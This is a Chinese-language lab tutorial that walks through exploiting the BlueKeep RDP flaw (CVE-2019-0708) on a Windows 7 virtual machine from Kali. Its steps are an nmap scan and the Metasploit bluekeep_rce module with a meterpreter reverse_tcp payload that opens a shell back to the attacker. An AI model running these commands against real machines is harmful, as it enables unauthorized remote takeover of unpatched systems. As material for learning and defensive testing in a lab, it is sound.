利用windows 7 cve-2019-0708漏洞

一、说明

       该漏洞存在于Windows系统的Remote Desktop Services（远程桌面服务）（端口3389）中，未经身份验证的攻击者可以通过发送特殊构造的数据包触发漏洞，可能导致远程无需用户验证控制系统。
      这意味着该漏洞可以通过网络蠕虫的方式被利用，利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机。

 二、准备

 1.首先开启kali虚拟机和win 7 靶机

2.在win7虚拟机的命令窗口输入： netstat -an,查看打开窗口

3.若3389没打开，可以右键计算机，选择属性

4.选择远程设置

5.选择允许远程连接

三、实验

1.kali中使用nmap 扫描目标机器端口确认是否开启3389端口：

nmap 192.168.24.136（win 7的ip）

2.确认开启后启动

msfconsole

 3.搜索漏洞

search 0708

 前两个模块，一个是扫描功能，一个是攻击功能。

4.使用第二个模块，也就是攻击功能：

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

 

5.设置目标：

set rhost 被攻击ip     #设置win7ip

set rport 3389 

6.设置payload：

set payload windows/x64/meterpreter/reverse_tcp   #设置64位的payload，如果是32位机器则不用加x64

 

7. 设置攻击机：

set lhost 攻击者ip     #设置kali的ip 

set lport 4444           #设置攻击者的监听端口（端口可以随意更改）

 

8.输入：show targets，显示可以选择的靶机的架构

 9.用于vm是15.5.1，所以可以选择target 3-5

10.选择target 3，进行尝试：

set target 3

 

11.进行攻击，运行：run